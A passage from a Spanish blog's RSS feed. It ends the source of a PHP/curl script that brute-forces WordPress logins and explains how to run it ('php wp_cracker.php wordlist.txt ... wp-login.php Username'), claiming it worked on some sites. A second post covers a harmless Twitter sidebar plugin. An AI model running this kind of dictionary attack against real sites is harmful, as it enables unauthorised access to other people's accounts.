<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; curl_close<span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">crackSite<span class="br0">&#40;</span><span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>, <span class="re0">$argv</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
</blockquote>
<p>Este script esta diseñado para correrlo desde la linea de comandos (<em>php-cli</em>) y su modo de uso es el siguiente:</p>
<blockquote><p>$ php wp_cracker.php wordlist.txt http://sitio.com/wp-login.php Username</p></blockquote>
<p>Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.<br />
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.</p>
<p><strong>Requerimientos:</strong> Curl y PHP.</p>
<p><strong>Video tutorial:<br />
</strong></p>
<p style="text-align: center"><span class="youtube">
<iframe title="YouTube video player" class="youtube-player" type="text/html" width="480" height="360" src="http://www.youtube.com/embed/CMfxsGQOtd8?color1=d6d6d6&amp;color2=f0f0f0&amp;border=0&amp;fs=1&amp;hl=en&amp;loop=&amp;showinfo=0&amp;iv_load_policy=3&amp;showsearch=0&amp;rel=1&amp;hd=1" frameborder="0" allowfullscreen></iframe>
</span><p><a href="http://www.youtube.com/watch?v=CMfxsGQOtd8&fmt=18">www.youtube.com/watch?v=CMfxsGQOtd8</a></p></p>
<p><strong>Descargar video:</strong><br />
Mirror 1: <a href="http://www.hardmodding.net/storage/web_login_cracker.avi">Hardmodding</a> (2.8M)</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fweb-login-por-fuerza-bruta%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/"  data-text="Web Login por fuerza bruta" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/web-login-por-fuerza-bruta/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
<enclosure url="http://www.hardmodding.net/storage/web_login_cracker.avi" length="2899240" type="video/x-msvideo" />
		</item>
		<item>
		<title>TwitteRead (Plugin para WP)</title>
		<link>http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/</link>
		<comments>http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/#comments</comments>
		<pubDate>Mon, 17 Dec 2007 04:53:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2007/12/17/twitteread-plugin-para-wp/</guid>
		<description><![CDATA[Estaba aburrido y pense en poner mis updates de twitter en el sidebar del blog, no queria buscar y/o usar algun plugin o addon ya escrito por otra persona, por esto, decidi crear mi propio plugin. Lo llamé TwitteRead y funciona perfectamente, lo pueden ver al final de la barra de navegacion que esta al [...]]]></description>
			<content:encoded><![CDATA[<p>Estaba aburrido y pense en poner mis updates de twitter en el sidebar del blog, no queria buscar y/o usar algun plugin o addon ya escrito por otra persona, por esto, decidi crear mi propio plugin.</p>
<p>Lo llamé TwitteRead y funciona perfectamente, lo pueden ver al final de la <em>barra de navegacion</em> que esta al costado derecho del blog.<br />
El plugin es bastante basico pero se le pueden ir agregando mas funcionalidades y quizas generar un algoritmo más óptimo para leer los últimos updates de cada usuario, pero para este caso (el mio) basta y sobra con lo que hace. Si en algun momento comienza a fallar entonces reconsideraré la opcion de volver a escribirlo. Si alguien quiere probarlo lo puede descargar desde <a href="http://blog.zerial.org/files/twitteread-0.5.tar.gz">acá</a>.<br />
Para instalarlo y usarlo es muy sencillo, vayan al directorio de los plugins de wordpress (wp-content/plugins) y desempaqueten el fichero descargado:</p>
<blockquote><p>$ tar zxvf twitteread-0.5.tar.gz<br />
twitteread/<br />
twitteread/twitteread.php</p></blockquote>
<p>Luego deben ir al panel de administracion de WP y activen el plugin, una vez activado, deben editar el <em>sidebar</em> del Theme que esten usando y, en la posicion que ustedes quieran, llaman a la funcion que devolvera o mostrara los post en twitter.</p>
<blockquote><p>&lt;? getTwitterFrom( <em>usuario</em>, <em>cantidad_de_updates</em> ); ?&gt;</p></blockquote>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Ftwitteread-plugin-para-wp%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/"  data-text="TwitteRead (Plugin para WP)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

